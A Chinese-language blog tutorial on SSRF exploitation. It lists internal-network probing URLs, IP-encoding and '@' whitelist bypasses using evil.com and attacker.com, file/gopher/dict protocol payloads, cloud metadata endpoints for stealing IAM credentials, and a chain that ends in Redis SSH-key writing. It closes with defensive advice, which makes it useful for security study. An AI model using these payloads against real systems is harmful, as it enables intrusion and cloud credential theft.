SSRF 漏洞利用与绕过技巧:从内网探测到云元数据窃取

一、SSRF 漏洞的本质

SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。其核心问题在于:应用程序未能对用户可控的 URL 进行充分校验,导致攻击者可以借助服务器身份访问本应无法触达的内网资源、云元数据接口或本地服务。

与传统的 CSRF 不同,SSRF 的“跳板”是服务器本身,因此攻击面往往更深、更隐蔽。一个看似普通的“图片加载”“Webhook 回调”“URL 预览”功能,都可能成为 SSRF 的入口。

二、SSRF 的常见入口点

在实际渗透测试中,以下功能点需要重点关注:

  • URL 参数传递:如 ?url=?image=?callback=?target= 等参数直接接收外部地址。
  • 文件导入/导出:从远程 URL 导入数据、导入 RSS 订阅、导入配置。
  • Webhook 与回调:第三方支付回调、消息推送、API 网关转发。
  • PDF/截图生成:服务端渲染 HTML 为 PDF 或截图时加载外部资源。
  • 代理与转发服务:在线翻译、在线代理、图片缓存。

三、内网探测基础

SSRF 最直接的利用方式是对内网进行端口扫描与服务识别。攻击者可以构造如下请求:

http://127.0.0.1:6379/
http://192.168.1.1:8080/
http://10.0.0.1:22/

通过响应时间、状态码、返回内容长度等差异,判断端口是否开放。常见目标包括:

  • 6379:Redis 未授权访问
  • 3306:MySQL
  • 9200:Elasticsearch
  • 2375:Docker Remote API
  • 8080/8000:内部管理后台

更进一步,可以结合字典对内网网段进行批量探测,绘制内网拓扑。

四、绕过技巧详解

1. 黑名单绕过

许多应用简单地过滤 127.0.0.1localhost 等关键字,可通过以下方式绕过:

http://127.1/
http://0.0.0.0/
http://[::1]/
http://2130706433/          # 十进制 IP
http://0177.0.0.1/          # 八进制
http://0x7f.0.0.1/          # 十六进制
http://127.0.0.1.nip.io/    # DNS 解析到 127.0.0.1

2. 白名单绕过

若应用要求 URL 必须以特定域名开头,可使用 @# 进行欺骗:

http://expected.com@evil.com/
http://evil.com#expected.com/
http://expected.com.evil.com/

3. 协议绕过

除 HTTP/HTTPS 外,服务端若支持其他协议,危害会显著放大:

  • file:///etc/passwd —— 读取本地文件
  • dict://127.0.0.1:6379/info —— 探测 Redis
  • gopher://127.0.0.1:6379/_... —— 构造 Redis 攻击载荷
  • ftp://ldap://tftp:// —— 协议走私

4. 重定向绕过

利用攻击者控制的服务器返回 302 跳转,将请求重定向至内网地址。应用若只校验初始 URL,便会中招:

http://attacker.com/redirect?to=http://169.254.169.254/

5. DNS Rebinding

通过控制 DNS 解析,使同一域名在两次解析中分别指向外部 IP 和内网 IP,绕过基于域名解析的校验。

五、云元数据窃取

在云环境中,SSRF 的危害被进一步放大。以 AWS EC2 为例,实例元数据服务监听于 169.254.169.254,若 IAM 角色绑定不当,攻击者可直接获取临时凭证:

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

返回结果包含 AccessKeyIdSecretAccessKeyToken,攻击者可直接调用 AWS API,实现权限提升与横向移动。

其他云厂商的元数据地址:

  • 阿里云http://100.100.100.200/latest/meta-data/
  • 腾讯云http://metadata.tencentyun.com/latest/meta-data/
  • GCPhttp://metadata.google.internal/computeMetadata/v1/(需 Metadata-Flavor: Google 头)
  • Azurehttp://169.254.169.254/metadata/instance?api-version=2021-02-01(需 Metadata: true 头)

对于需要特殊 Header 的云环境,可尝试利用 CRLF 注入或 gopher 协议构造完整请求。

六、实战利用链示例

一个典型的 SSRF 到云凭证窃取链路如下:

  1. 发现目标站点的图片加载接口存在 SSRF。
  2. 使用 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 获取角色名。
  3. 请求具体角色凭证,拿到临时 AK/SK。
  4. 配置 AWS CLI,执行 aws s3 lsaws ec2 describe-instances 等命令。
  5. 根据权限范围,进一步访问 S3 存储桶、数据库或发起横向攻击。

若目标为 Redis 未授权,可通过 gopher 协议写入 SSH 公钥或计划任务,实现远程命令执行。

七、防御建议

  • URL 白名单:仅允许访问预先批准的域名和协议,避免使用黑名单。
  • 禁用危险协议:仅允许 HTTP/HTTPS,禁止 filegopherdict 等。
  • 统一出口代理:所有外部请求经由代理转发,并在代理层做校验。
  • 限制内网访问:通过网络策略禁止应用服务器访问元数据地址和敏感内网段。
  • 元数据加固:启用 IMDSv2(需 Token 才能访问),降低 SSRF 直接窃取凭证的风险。
  • 响应校验:不将原始响应体直接返回给用户,减少信息泄露。

八、结语

SSRF 看似简单,实则利用方式极为灵活。从内网端口探测到云元数据窃取,其危害程度取决于目标环境的架构与防护水平。对于攻击者而言,绕过技巧的积累是突破防线的关键;对于防御者而言,理解这些绕过手法才能构建真正有效的防护体系。在云原生时代,SSRF 已不再是“低危”漏洞,而是通往核心资产的重要跳板,值得每一位安全从业者高度重视。

未经允许不得转载:任鹏个人博客 » SSRF 漏洞利用与绕过技巧:从内网探测到云元数据窃取

赞 (0) 打赏

评论 0

取消
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏